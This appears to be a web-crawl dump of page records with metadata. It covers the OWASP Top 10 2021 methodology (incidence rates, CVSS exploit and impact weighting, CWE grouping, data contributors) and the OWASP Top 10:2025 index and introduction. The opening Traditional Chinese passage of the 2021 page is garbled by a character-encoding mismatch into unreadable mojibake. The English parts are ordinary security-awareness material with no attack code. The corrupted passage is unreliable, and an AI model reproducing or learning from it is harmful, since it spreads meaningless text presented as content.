”çŠśĺ°ˆĺŽśĺ€‘ä¸Śçž­č§Łäť–ĺ€‘čŚşĺž—ćœ‰ĺ“Şäş›ć˜Żäť–ĺ€‘čŚşĺž—ĺš´é‡ä˝†ĺ°šćœŞĺ‡şçžĺœ¨ć¸ŹčŠŚčł‡ć–™ä¸­çš„ćźć´žĺŠĺ•éĄŒă€‚\n\n這是幾個我們為了要讓 OWASP Top 10 ć›´ĺŠ ćˆç†Ÿçš„é‡čŚć”ščŽŠă€‚\n\n### 如何建構風險類別\n\n有別於上一個版本,在這次的 OWASP Top 10 有一些風險類別的修改。我們在此以比較高的角度說明一下這次的類別修改。\n\nĺœ¨ä¸Šä¸€ćŹĄçš„čł‡ć–™ć”śé›†ç•śä¸­ďźŒćˆ‘ĺ€‘ĺ°‡čł‡ć–™ć”śé›†çš„é‡ĺżƒć”žĺœ¨é ĺ…ˆĺŽšçžŠĺĽ˝çš„ç´„ 30 個 CWEs 並納入一個欄位徵求其他的發現。從這裡我們看到決多數的組織都只會專注在這 30 個 CWEs č€Œä¸ĺ¸¸ĺŠ ĺ…Ľĺ…śäť–äť–ĺ€‘ĺŻčƒ˝ç™źçžçš„ CWEs。在這次的改版中,我們將所有的問題都以開放式的方法處理,並沒有限制在任何一個 CWEs。我們請教了從 2017 ĺš´é–‹ĺ§‹ć‰€ć¸ŹčŠŚçš„çś˛é ć‡‰ç”¨ç¨‹ĺźć•¸é‡ďźŒç„śĺžŒĺœ¨é€™äş›ç¨‹ĺźä¸­č‡łĺ°‘ćœ‰ä¸€ĺ€‹ CWE č˘Ťç™źçžçš„ć•¸é‡ă€‚é€™ĺ€‹ć źĺźčŽ“ćˆ‘ĺ€‘čƒ˝ĺ¤ čż˝čš¤ćŻĺ€‹ CWE 跟所有被驗測及統計的應用程式的數量跟關係。我們也忽略了 CWE ĺ‡şçžçš„é ťçŽ‡ďźŒé›–ç„śĺœ¨ćŸäş›ç‹€ćłä¸‹é€™äšŸč¨ąć˜Żĺż…é ˆçš„ďźŒä˝†é€™ĺťéšąč—äş†é˘¨éšŞéĄžĺˆĽćœŹčşŤčˆ‡ć‡‰ç”¨ç¨‹ĺźć•¸é‡ć•´éŤ”çš„é—œäż‚ă€‚ć‰€äťĽä¸€ĺ€‹ć‡‰ç”¨ç¨‹ĺźćœ‰ 4 個或是 4,000 個弱點並不是被計算在 Top 10 的基礎。但同時我們也從原本的 30 多個 CWEs 增長到快 400 多個CWEs ĺŽťé€˛čĄŒĺˆ†ćžă€‚ćˆ‘ĺ€‘ĺ› ć­¤äšŸč¨ˆç•ŤćœŞäž†ĺšć›´ĺ¤šçš„čł‡ć–™ĺˆ†ćžďźŒä¸Śĺœ¨ĺ°ć­¤ç‰ˆćœŹé€˛čĄŒčŁœĺ……čŞŞć˜Žă€‚č€Œé€™äş›ĺ˘žĺŠ çš„ CWEs 也同時影響了這次風險類別的規劃。\n\n我們花了好幾個月將 CWEs é€˛čĄŒĺˆ†çľ„čˇŸĺˆ†éĄžďźŒč€Œä¸”ĺ…śĺŻŚĺŻäťĽä¸€ç›´čŠąć›´ĺ¤šĺ€‹ćœˆĺŽťĺšé€™äťśäş‹ćƒ…ă€‚ä˝†ćˆ‘ĺ€‘ĺż…é ˆĺœ¨ćŸä¸€ĺ€‹ć™‚é–“éťžĺœä˝ă€‚ĺœ¨ CWEs 當中,同時有 *原ĺ›* 以及 *症狀* 的問題,而像是 \"ĺŠ ĺŻ†ćŠŸĺˆśĺ¤ąć•ˆ\" 和 \"設定問題\" 這類型的 *原ĺ›* 與 \"機敏資料外洩\" 和 \"阻斷服務\" 這類型的 *症狀* ć˜Żĺ°çŤ‹çš„ă€‚ĺ› ć­¤ćˆ‘ĺ€‘ćąşĺŽšĺœ¨ĺŻäťĽçš„ć™‚ĺ€™čŚć›´ĺ°ˆćł¨ć–źĺş•ĺą¤çš„ĺŽŸĺ› ďźŒĺ› ç‚şé€™ć˜ŻĺŻäťĽćœ‰ć•ˆćŒ‡ĺ‡şĺ•éĄŒçš„ćœŹéŤ”čˇŸĺŒć™‚ćäž›ĺ•éĄŒçš„č§Łćąşć–šĺ‘ă€‚ĺ°ˆćł¨ĺœ¨ĺ•éĄŒć ¸ĺżƒč€Œä¸ĺ°‡é‡ĺżƒć”žĺœ¨ç—‡ç‹€ä¸Śä¸ć˜Żä¸€ĺ€‹ć–°çš„ćŚ‚ĺżľ\b\b,Top Ten ćœ‰ĺ˛äťĽäž†ä¸€ç›´ć˜Żç—‡ç‹€čˇŸĺ•éĄŒć ¸ĺżƒçš„çśœĺˆéŤ”ďźŒĺŞć˜Żé€™ćŹĄćˆ‘ĺ€‘ć›´ĺˆťć„çš„ĺ°‡äť–çŞéĄŻĺ‡şäž†ă€‚ĺœ¨é€™ćŹĄçš„ć–°ç‰ˆćœŹä¸­ďźŒćŻä¸€ĺ€‹éĄžĺˆĽĺ…§çš„ĺšłĺ‡ćœ‰ 19.6 個 CWE,而最低的 *A10:2021-伺服端請求偽é€* 有一個 CWE 到 *A04:2021-不安全設計* 有四十個 CWEă€‚é€™ĺ€‹ć–°çš„éĄžĺˆĽćžść§‹čƒ˝ćäž›äźćĽ­ć›´ĺ¤šçš„čł‡ĺŽ‰č¨“çˇ´çš„ĺĽ˝č™•ďźŒĺ› ç‚şĺœ¨ć–°çš„ćžść§‹ä¸‹ĺŻäťĽć›´ĺ°ˆćł¨ĺœ¨ćŸĺ€‹čŞžçłťćˆ–ĺšłĺ°ä¸Šçš„ CWE。\n\n### 選擇類別時資料的使用方式\n\n在 2017 年,我們用事件發生次數去判斷可能發生的機率去選擇類別,然後透過一群在業界擁有數十年經驗的專家團對討論並依照 *可發生性*,*可發現性(同可能性)*,和 *技術影響力* 去做排名。在 2021 年,我們希望如果可以的話用資料證明可發生性和技術影響性。\n\n我們下載了 OWASP Depndency Check 並取出了 CVSS 漏洞,並將相關的 CWE ç”¨ĺ˝ąéŸżĺŠ›ĺˆ†ć•¸ĺˆ†çž¤ă€‚é€™čŠąäş†ä¸€äş›ć™‚é–“ĺ’ŒĺŠ›ć°ŁĺŽťç ”çŠśĺ› ç‚şć‰€ćœ‰çš„ CVEs 都有 CVSSv2 ĺˆ†ć•¸ďźŒä˝†ć˜Żĺœ¨ĺ…śä¸­ĺ› ç‚ş CVSSv2 莟 CVSSv3 äš‹é–“ćœ‰ä¸€äş›çźşĺ¤ąć˜Żĺż…é ˆč˘ŤäżŽć­Łçš„ă€‚çś“éŽäş†ä¸€ćŽľć™‚é–“ĺžŒďźŒć‰€ćœ‰çš„ CVEs 都會有對應的 CVSSv3 的分數。再者,分數的範圍和計算的公式在 CVSSv2 和 CVSSv3 之間也做了更新。\n\n在 CVSSv2 中,漏洞和影響力兩者都可達到 10.0 分,但是公式本身會將兩者調整為漏洞佔 60%,然後影響力佔 40%。在 CVSSv3 中,理論上的最高值將漏洞限制在 6.0 分而影響力在 4.0 分。當考慮到權重比率時,影響力的分數會偏高,在 CVSSv3 中幾乎平均會多出 1.5 分,而漏洞分數卻會平均少 0.5 分。\n\n從 OWASP Dependcy Check çż ĺ–ĺ‡şçš„ NVD 資料當中有將近 12.5 萬筆 CVE 資料有對應到 CWE,而有 241 筆獨特的 CWEs 有對應到 CVE。6.2萬筆 CWE 有對應到 CVSSv3 分數,所以大約是整體資料中一半的部分。\n\n而在 Top Ten,我們計算漏洞和影響力的平均分數的方式如下。我們將所有有 CVSS 分數的 CVE 依照 CWE 分組,然後依照有 CVSSv3 çš„ćźć´žĺ’Œĺ˝ąéŸżĺŠ›ĺœ¨ć‰€ćœ‰čł‡ć–™ä¸­çš„ç™žĺˆ†ćŻ”ä˝œćŹŠé‡ďźŒĺœ¨ĺŠ ä¸Ščł‡ć–™ä¸­ćœ‰ CVSSv2 的資料去做平均。我們將這些平均後的 CWEs 對應到資料中,然後將他的漏洞和引想力分數使用在另一半的風險公式中。\n\n## 為什麼就不純粹做統計分析?\n\né€™äş›čł‡ć–™çš„çľćžœćœ€ä¸ťčŚć˜Żč˘Ťé™ĺˆśĺœ¨čƒ˝ä˝żç”¨č‡Şĺ‹•ĺˇĽĺ…ˇć¸ŹčŠŚĺ‡şäž†çš„çľćžœă€‚ĺŻć˜Żç•śä˝ čˇŸä¸€ä˝ćœ‰çś“éŠ—çš„ć‡‰ç”¨ç¨‹ĺźĺŽ‰ĺ…¨ĺ°ˆĺŽśčŠçš„ć™‚ĺ€™ďźŒäť–ĺ€‘ćœƒčˇŸä˝ čŞŞçľ•ĺ¤§ĺ¤šć•¸äť–ĺ€‘ć‰žĺˆ°çš„ĺ•éĄŒéƒ˝ä¸ĺœ¨é€™äş›čł‡ć–™čŁĄé˘ă€‚ĺŽŸĺ› ć˜Żä¸€ĺ€‹ć¸ŹčŠŚčŚč˘Ťč‡Şĺ‹•ĺŒ–çš„ć™‚ĺ€™ďźŒéœ€čŚčŠąć™‚é–“ĺŽťé–‹ç™źé€™äş›ĺźąéťžć¸ŹčŠŚçš„ć–šćł•čŤ–ďźŒç•śä˝ éœ€čŚĺ°‡é€™ĺ€‹ć¸ŹčŠŚč‡Şĺ‹•ĺŒ–ä¸Śčƒ˝ĺ°ĺ¤§é‡çš„ć‡‰ç”¨ç¨‹ĺźĺŽťéŠ—č­‰ć™‚ďźŒĺˆćœƒčŠąä¸Šć›´ĺ¤šçš„ć™‚é–“ă€‚ç•śćˆ‘ĺ€‘ĺ›žé ­çœ‹ĺŽťĺš´ç˛äťĽĺ‰ćœ‰ĺŻčƒ˝ć˛’ĺ‡şçžçš„ä¸€äş›ĺ•éĄŒçš„čś¨ĺ‹˘ďźŒćˆ‘ĺ€‘ç™źçžĺ…śĺŻŚéƒ˝ć˛’ćœ‰ĺœ¨é€™äş›čł‡ć–™ç•śä¸­ă€‚\n\nĺ› ć­¤ďźŒç”ąć–źčł‡ć–™ä¸ĺŽŒĺ…¨çš„é—œäż‚ďźŒćˆ‘ĺ€‘ĺŞćœ‰ĺžžčł‡ć–™ä¸­é¸ĺ‡ş 8 個類別,而並不是 10 ĺ€‹ă€‚ĺ‰Šä¸‹çš„ĺ…Šĺ€‹éĄžĺˆĽć˜ŻĺžžćĽ­ç•Œĺ•ĺˇä¸­ć‰€é¸ĺ‡şçš„ă€‚é€™ćœƒĺ…č¨ąĺœ¨ĺ‰çˇšçš„ĺƒčˆ‡č€…ĺŽťé¸ĺ‡şäť–ĺ€‘čŞç‚şçš„éŤ˜é˘¨éšŞďźŒč€Œä¸ć˜Żç´”ç˛šäžć“ščł‡ć–™ĺŽťĺˆ¤ć–ˇďźˆç”šč‡łĺŻčƒ˝čł‡ć–™ć°¸é éƒ˝ä¸ćœƒćœ‰ĺ‡şçžçš„čš¤čˇĄďź‰ă€‚\n\n## 為什麼用事故率而不是用發生次數\n\nThere are three primary sources of data. We identify them as\nHuman-assisted Tooling (HaT), Tool-assisted Human (TaH), and raw\nTooling.\n\nTooling and HaT are high-frequency finding generators. Tools will look\nfor specific vulnerabilities and tirelessly attempt to find every\ninstance of that vulnerability and will generate high finding counts for\nsome vulnerability types. Look at Cross-Site Scripting, which is\ntypically one of two flavors: it's either a more minor, isolated mistake\nor a systemic issue. When it's a systemic issue, the finding counts can\nbe in the thousands for an application. This high frequency drowns out\nmost other vulnerabilities found in reports or data.\n\nTaH, on the other hand, will find a broader range of vulnerability types\nbut at a much lower frequency due to time constraints. When humans test\nan application and see something like Cross-Site Scripting, they will\ntypically find three or four instances and stop. They can determine a\nsystemic finding and write it up with a recommendation to fix on an\napplication-wide scale. There is no need (or time) to find every\ninstance.\n\nSuppose we take these two distinct data sets and try to merge them on\nfrequency. In that case, the Tooling and HaT data will drown the more\naccurate (but broad) TaH data and is a good part of why something like\nCross-Site Scripting has been so highly ranked in many lists when the\nimpact is generally low to moderate. It's because of the sheer volume of\nfindings. (Cross-Site Scripting is also reasonably easy to test for, so\nthere are many more tests for it as well).\n\nIn 2017, we introduced using incidence rate instead to take a fresh look\nat the data and cleanly merge Tooling and HaT data with TaH data. The\nincidence rate asks what percentage of the application population had at\nleast one instance of a vulnerability type. We don't care if it was\none-off or systemic. That's irrelevant for our purposes; we just need to\nknow how many applications had at least one instance, which helps\nprovide a clearer view of the testing is findings across multiple\ntesting types without drowning the data in high-frequency results.\n\n## What is your data collection and analysis process?\n\nWe formalized the OWASP Top 10 data collection process at the Open\nSecurity Summit in 2017. OWASP Top 10 leaders and the community spent\ntwo days working out formalizing a transparent data collection process.\nThe 2021 edition is the second time we have used this methodology.\n\nWe publish a call for data through social media channels available to\nus, both project and OWASP. On the [OWASP Project\npage](https://owasp.org/www-project-top-ten/#div-data_2020), we list the\ndata elements and structure we are looking for and how to submit them.\nIn the [GitHub\nproject](https://github.com/OWASP/Top10/tree/master/2021/Data), we have\nexample files that serve as templates. We work with organizations as\nneeded to help figure out the structure and mapping to CWEs.\n\nWe get data from organizations that are testing vendors by trade, bug\nbounty vendors, and organizations that contribute internal testing data.\nOnce we have the data, we load it together and run a fundamental\nanalysis of what CWEs map to risk categories. There is overlap between\nsome CWEs, and others are very closely related (ex. Cryptographic\nvulnerabilities). Any decisions related to the raw data submitted are\ndocumented and published to be open and transparent with how we\nnormalized the data.\n\nWe look at the eight categories with the highest incidence rates for\ninclusion in the Top 10. We also look at the industry survey results to\nsee which ones may already be present in the data. The top two votes\nthat aren't already present in the data will be selected for the other\ntwo places in the Top 10. Once all ten were selected, we applied\ngeneralized factors for exploitability and impact; to help rank the Top\n10 in order.\n\n## Data Factors\n\nThere are data factors that are listed for each of the Top 10\nCategories, here is what they mean:\n\n- *CWEs Mapped*: The number of CWEs mapped to a category by the Top 10\n team.\n- *Incidence Rate*: Incidence rate is the percentage of applications\n vulnerable to that CWE from the population tested by that org for\n that year.\n- (Testing) *Coverage*: The percentage of applications tested by all\n organizations for a given CWE.\n- *Weighted Exploit*: The Exploit sub-score from CVSSv2 and CVSSv3\n scores assigned to CVEs mapped to CWEs, normalized, and placed on a\n 10pt scale.\n- *Weighted Impact*: The Impact sub-score from CVSSv2 and CVSSv3\n scores assigned to CVEs mapped to CWEs, normalized, and placed on a\n 10pt scale.\n- *Total Occurrences*: Total number of applications found to have the\n CWEs mapped to a category.\n- *Total CVEs*: Total number of CVEs in the NVD DB that were mapped to\n the CWEs mapped to a category.\n\n## Category Relationships from 2017\n\nThere has been a lot of talk about the overlap between the Top Ten\nrisks. By the definition of each (list of CWEs included), there really\nisn't any overlap. However, conceptually, there can be overlap or\ninteractions based on the higher-level naming. Venn diagrams are many\ntimes used to show overlap like this.\n\nThe Venn diagram above represents the interactions between the Top Ten\n2017 risk categories. While doing so, a couple of essential points\nbecame obvious:\n\n1. One could argue that Cross-Site Scripting ultimately belongs within\n Injection as it's essentially Content Injection. Looking at the 2021\n data, it became even more evident that XSS needed to move into\n Injection.\n2. The overlap is only in one direction. We will often classify a\n vulnerability by the end manifestation or \"symptom,\" not the\n (potentially deep) root cause. For instance, \"Sensitive Data\n Exposure\" may have been the result of a \"Security Misconfiguration\";\n however, you won't see it in the other direction. As a result,\n arrows are drawn in the interaction zones to indicate which\n direction it occurs.\n3. Sometimes these diagrams are drawn with everything in *A06:2021\n Using Components with Known Vulnerabilities*. While some of these\n risk categories may be the root cause of third-party\n vulnerabilities, they are generally managed differently and with\n different responsibilities. The other types are typically\n representing first-party risks.\n\n# Thank you to our data contributors\n\nThe following organizations (along with some anonymous donors) kindly\ndonated data for over 500,000 applications to make this the largest and\nmost comprehensive application security data set. Without you, this\nwould not be possible.\n\n| | | | |\n| --- | --- | --- | --- |\n| AppSec Labs | GitLab | Micro Focus | Sqreen |\n| Cobalt.io | HackerOne | PenTest-Tools | Veracode |\n| Contrast Security | HCL Technologies | Probely | WhiteHat (NTT) |\n\n## Thank you to our sponsors\n\nThe OWASP Top 10 2021 team gratefully acknowledge the financial support of Secure Code Warrior and Just Eat.", "znaku_textu": 17141, "slov": 1561, "odkazu": 46, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:54:47", "sha256": "a36e749933bdcbdf3482118036a6693d34004871f24b17d1f6edd5a91e73fca4", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://github.com/OWASP/Top10/tree/master/2021/Data", "https://securecodewarrior.com/", "https://www.just-eat.co.uk/", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/", "titulek": "OWASP Top 10:2025", "h1": "OWASP Top 10:2025", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Top 10:2025"}, {"uroven": 2, "text": "About This Release"}, {"uroven": 2, "text": "Main Project Page"}, {"uroven": 2, "text": "Getting Started"}, {"uroven": 3, "text": "Top 10:2025 List"}], "markdown": "# OWASP Top 10:2025\n\nWelcome to the OWASP Top 10:2025 Release.\n\nThe OWASP Top 10 is a standard awareness document for developers and web application security. It represents a broad consensus about the most critical security risks to web applications.\n\n## About This Release\n\nThis is the **2025** version of the OWASP Top 10. This version includes updates based on the latest data and security trends.\n\n## Main Project Page\n\nThe [main project page](https://github.com/OWASP/www-project-top-ten) has information about older versions and metadata about this project.\n\n## Getting Started\n\nStart with the [Introduction](0x00_2025-Introduction/) to learn about what's new in the 2025 version.\n\n- [Introduction](0x00_2025-Introduction/)\n- [About OWASP](0x01_2025-About_OWASP/)\n- [What are Application Security Risks?](0x02_2025-What_are_Application_Security_Risks/)\n- [Establishing a Modern Application Security Program](0x03_2025-Establishing_a_Modern_Application_Security_Program/)\n\n### Top 10:2025 List\n\n1. [A01:2025 - Broken Access Control](A01_2025-Broken_Access_Control/)\n2. [A02:2025 - Security Misconfiguration](A02_2025-Security_Misconfiguration/)\n3. [A03:2025 - Software Supply Chain Failures](A03_2025-Software_Supply_Chain_Failures/)\n4. [A04:2025 - Cryptographic Failures](A04_2025-Cryptographic_Failures/)\n5. [A05:2025 - Injection](A05_2025-Injection/)\n6. [A06:2025 - Insecure Design](A06_2025-Insecure_Design/)\n7. [A07:2025 - Authentication Failures](A07_2025-Authentication_Failures/)\n8. [A08:2025 - Software or Data Integrity Failures](A08_2025-Software_or_Data_Integrity_Failures/)\n9. [A09:2025 - Security Logging and Alerting Failures](A09_2025-Security_Logging_and_Alerting_Failures/)\n10. [A10:2025 - Mishandling of Exceptional Conditions](A10_2025-Mishandling_of_Exceptional_Conditions/)\n\n---\n\n**Note:** Translations will be added as they become available.", "znaku_textu": 1812, "slov": 190, "odkazu": 35, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:16:25", "sha256": "37db8253029a5a6afd4f8383cda997a0a482e45766110591bf8f5a3b0d423857", "hloubka": 0, "zdroj_objevu": "seed", "ze_seznamu": true, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://github.com/OWASP/www-project-top-ten", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/0x00_2025-Introduction/", "titulek": "Introduction - OWASP Top 10:2025", "h1": "The Ten Most Critical Web Application Security Risks", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/0x00_2025-Introduction/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "The Ten Most Critical Web Application Security Risks"}, {"uroven": 1, "text": "Introduction"}, {"uroven": 2, "text": "Introducing the OWASP Top 10:2025"}, {"uroven": 2, "text": "What's changed in the Top 10 for 2025"}, {"uroven": 2, "text": "Methodology"}, {"uroven": 2, "text": "How the categories are structured"}, {"uroven": 2, "text": "How the data is used for selecting categories"}, {"uroven": 2, "text": "Why we use a community survey"}, {"uroven": 2, "text": "Thank you to our data contributors"}, {"uroven": 2, "text": "Lead Authors"}, {"uroven": 2, "text": "Log issues and pull requests"}, {"uroven": 3, "text": "Project links:"}], "markdown": "# The Ten Most Critical Web Application Security Risks\n\n# Introduction\n\nWelcome to the 8th installment of the OWASP Top Ten!\n\nA huge thank you to everyone who contributed data and perspectives in the survey. Without you, this installment would not have been possible. **THANK YOU!**\n\n## Introducing the OWASP Top 10:2025\n\n- [A01:2025 - Broken Access Control](../A01_2025-Broken_Access_Control/)\n- [A02:2025 - Security Misconfiguration](../A02_2025-Security_Misconfiguration/)\n- [A03:2025 - Software Supply Chain Failures](../A03_2025-Software_Supply_Chain_Failures/)\n- [A04:2025 - Cryptographic Failures](../A04_2025-Cryptographic_Failures/)\n- [A05:2025 - Injection](../A05_2025-Injection/)\n- [A06:2025 - Insecure Design](../A06_2025-Insecure_Design/)\n- [A07:2025 - Authentication Failures](../A07_2025-Authentication_Failures/)\n- [A08:2025 - Software or Data Integrity Failures](../A08_2025-Software_or_Data_Integrity_Failures/)\n- [A09:2025 - Security Logging & Alerting Failures](../A09_2025-Security_Logging_and_Alerting_Failures/)\n- [A10:2025 - Mishandling of Exceptional Conditions](../A10_2025-Mishandling_of_Exceptional_Conditions/)\n\n## What's changed in the Top 10 for 2025\n\nThere are two new categories and one consolidation in the Top Ten for 2025. We’ve worked to maintain our focus on the root cause over the symptoms as much as possible. With the complexity of software engineering and software security, it’s basically impossible to create ten categories without some level of overlap.\n\n- **[A01:2025 - Broken Access Control](../A01_2025-Broken_Access_Control/)** maintains its position at #1 as the most serious application security risk; the contributed data indicates that on average, 3.73% of applications tested had one or more of the 40 Common Weakness Enumerations (CWEs) in this category. As indicated by the dashed line in the above figure, Server-Side Request Forgery (SSRF) has been rolled into this category.\n- **[A02:2025 - Security Misconfiguration](../A02_2025-Security_Misconfiguration/)** moved up from #5 in 2021 to #2 in 2025. Misconfigurations are more prevalent in the data for this cycle. 3.00% of the applications tested had one or more of the 16 CWEs in this category. This is not surprising, as software engineering is continuing to increase the amount of an application’s behavior that is based on configurations.\n- **[A03:2025 - Software Supply Chain Failures](../A03_2025-Software_Supply_Chain_Failures/)** is an expansion of [A06:2021-Vulnerable and Outdated Components](https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components/) to include a broader scope of compromises occurring within or across the entire ecosystem of software dependencies, build systems, and distribution infrastructure. This category was overwhelmingly voted a top concern in the community survey. This category has 5 CWEs and a limited presence in the collected data, but we believe this is due to challenges in testing and hope that testing catches up in this area. This category has the fewest occurrences in the data, but also the highest average exploit and impact scores from CVEs.\n- **[A04:2025 - Cryptographic Failures](../A04_2025-Cryptographic_Failures/)** falls two spots from #2 to #4 in the ranking. The contributed data indicates that, on average, 3.80% of applications have one or more of the 32 CWEs in this category. This category often leads to sensitive data exposure or system compromise.\n- **[A05:2025 - Injection](../A05_2025-Injection/)** falls two spots from #3 to #5 in the ranking, maintaining its position relative to Cryptographic Failures and Insecure Design. Injection is one of the most tested categories, with the greatest number of CVEs associated with the 38 CWEs in this category. Injection includes a range of issues from Cross-site Scripting (high frequency/low impact) to SQL Injection (low frequency/high impact) vulnerabilities.\n- **[A06:2025 - Insecure Design](../A06_2025-Insecure_Design/)** slides two spots from #4 to #6 in the ranking as Security Misconfiguration and Software Supply Chain Failures leapfrog it. This category was introduced in 2021, and we have seen noticeable improvements in the industry related to threat modeling and a greater emphasis on secure design.\n- **[A07:2025 - Authentication Failures](../A07_2025-Authentication_Failures/)** maintains its position at #7 with a slight name change (prevously it was “ [Identification and Authentication Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/) \") to more accurately reflect the 36 CWEs in this category. This category remains important, but the increased use of standardized frameworks for authentication appears to be having beneficial effects on the occurrences of authentication failures.\n- **[A08:2025 - Software or Data Integrity Failures](../A08_2025-Software_or_Data_Integrity_Failures/)** continues at #8 in the list. This category is focused on the failure to maintain trust boundaries and verify the integrity of software, code, and data artifacts at a lower level than Software Supply Chain Failures.\n- **[A09:2025 - Security Logging & Alerting Failures](../A09_2025-Security_Logging_and_Alerting_Failures/)** retains its position at #9. This category has a slight name change (previously [Security Logging and Monitoring Failures](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/) ”) to emphasize the importance of the alerting functionality needed to induce appropriate action on relevant logging events. Great logging with no alerting is of minimal value in identifying security incidents. This category will always be underrepresented in the data, and was again voted into a position in the list from the community survey participants.\n- **[A10:2025 - Mishandling of Exceptional Conditions](../A10_2025-Mishandling_of_Exceptional_Conditions/)** is a new category for 2025. This category contains 24 CWEs focusing on improper error handling, logical errors, failing open, and other related scenarios stemming from abnormal conditions that systems may encounter.\n\n## Methodology\n\nThis installment of the Top Ten remains data-informed, but not blindly data-driven. We ranked 12 categories based on the data contributed, and allowed two to be promoted or highlighted by responses from the community survey. We do this for a fundamental reason: examining the contributed data is essentially looking into the past. Application Security researchers dedicate time to identifying new vulnerabilities and developing new testing methods. It takes weeks to years to integrate these tests into tools and processes. By the time we can reliably test a weakness at scale, years may have passed. There are also important risks that we may never be able to reliably test and be present in the data. To balance that view, we use a community survey to ask application security and development practitioners on the front lines what they see as essential risks that may be underrepresented in the testing data.\n\n## How the categories are structured\n\nA few categories have changed from the previous installment of the OWASP Top Ten. Here is a high-level summary of the category changes.\n\nIn this iteration, we asked for data, with no restriction on CWEs like we did for the 2021 edition. We asked for the number of applications tested for a given year (starting in 2021), and the number of applications with at least one instance of a CWE found in testing. This format allows us to track how prevalent each CWE is within the population of applications. We ignore frequency for our purposes; while it may be necessary for other situations, it only hides the actual prevalence in the application population. Whether an application has four instances of a CWE or 4,000 instances is not part of the calculation for the Top Ten. Especially as manual testers tend to only list a vulnerability once no matter how many times it is repeated in an application, while automated testing frameworks list every instance of a vulnerability as unique. We went from approximately 30 CWEs in 2017, to almost 400 CWEs in 2021, to 589 CWEs in this edition to analyze in the dataset. We plan to do additional data analysis as a supplement in the future. This significant increase in the number of CWEs necessitates changes to how the categories are structured.\n\nWe spent several months grouping and categorizing CWEs and could have continued for additional months. We had to stop at some point. There are both root cause and symptom types of CWEs, where root cause types are like \"Cryptographic Failure\" and \"Misconfiguration\" contrasted to symptom types like \"Sensitive Data Exposure\" and \"Denial of Service.\" We decided to focus on the root cause whenever possible as it's more logical for providing identification and remediation guidance. Focusing on the root cause over the symptom isn't a new concept; the Top Ten has been a mix of symptom and root cause. CWEs are also a mix of symptom and root cause; we are simply being more deliberate about calling it out. There is an average of 25 CWEs per category in this installment, with the lower bounds at 5 CWEs for A03:2025-Software Supply Chain Failures and A09:2025 Security Logging and Alerting Failures to 40 CWEs in A01:2025-Broken Access Control. We made the decision to cap the number of CWEs in a category to 40. This updated category structure offers additional training benefits as companies can focus on CWEs that make sense for a language/framework.\n\nWe have been asked why not shift to a list of 10 CWEs as a Top 10, similar to the MITRE Top 25 Most Dangerous Software Weaknesses. There are two primary reasons why we use multiple CWEs in categories. First, not all CWEs exist in all programming languages or frameworks. This causes issues for tooling and training/awareness programs as part of the Top Ten may not be applicable. The second reason is that there are multiple CWEs for common vulnerabilities. For example, there are multiple CWEs for general Injection, Command Injection, Cross-site Scripting, Hardcoded Passwords, Lack of Validation, Buffer Overflows, Cleartext Storage of Sensitive Information, and many others. Depending on the organization or tester, different CWEs might be used. By using a category with multiple CWEs we can help raise the baseline and awareness of the different types of weaknesses that may occur under a common category name. In this edition of the Top Ten 2025, there are 248 CWEs within the 10 categories. There are a total of 968 CWEs in the [downloadable dictionary from MITRE](https://cwe.mitre.org) at the time of this release.\n\n## How the data is used for selecting categories\n\nSimilar to what we did for the 2021 edition, we leveraged CVE data for *Exploitability*and *(Technical) Impact*. We downloaded OWASP Dependency Check and extracted the CVSS Exploit and Impact scores, grouping them by relevant CWEs listed with the CVEs. It took a fair bit of research and effort, as all the CVEs have CVSSv2 scores, but there are flaws in CVSSv2 that CVSSv3 should address. After a certain point in time, all CVEs are assigned a CVSSv3 score as well. Additionally, the scoring ranges and formulas were updated between CVSSv2 and CVSSv3.\n\nIn CVSSv2, both Exploit and (Technical) Impact could be up to 10.0, but the formula would knock them down to 60% for Exploit and 40% for Impact. In CVSSv3, the theoretical max was limited to 6.0 for Exploit and 4.0 for Impact. With the weighting considered, the Impact scoring shifted higher, almost a point and a half on average in CVSSv3, and exploitability moved nearly half a point lower on average.\n\nThere are approximately 175k records (up from 125k in 2021) of CVEs mapped to CWEs in the National Vulnerability Database (NVD), extracted from OWASP Dependency Check. Additionally, there are 643 unique CWEs mapped to CVEs (up from 241 in 2021). Within the nearly 220k CVEs that were extracted, 160k had CVSS v2 scores, 156k had CVSS v3 scores, and 6k had CVSS v4 scores. Many CVEs have multiple scores, which is why they total more than 220k.\n\nFor the Top Ten 2025, we calculated average exploit and impact scores in the following manner. We grouped all the CVEs with CVSS scores by CWE and weighted both exploit and impact scores by the percentage of the population that had CVSSv3, as well as the remaining population with CVSSv2 scores, to get an overall average. We mapped these averages to the CWEs in the dataset to use as Exploit and (Technical) Impact scoring for the other half of the risk equation.\n\nWhy not use CVSS v4.0, you may ask? That’s because the scoring algorithm was fundamentally changed, and it no longer easily provides the *Exploit* or *Impact* scores as CVSS v2 and CVSSv3 do. We will attempt to figure out a way to use CVSS v4.0 scoring for future versions of the Top Ten, but we were unable to determine a timely way to do so for the 2025 edition.\n\n## Why we use a community survey\n\nThe results in the data are largely limited to what the industry can test for in an automated fashion. Talk to a seasoned AppSec professional, and they will tell you about stuff they find and trends they see that aren't yet in the data. It takes time for people to develop testing methodologies for certain vulnerability types and then more time for those 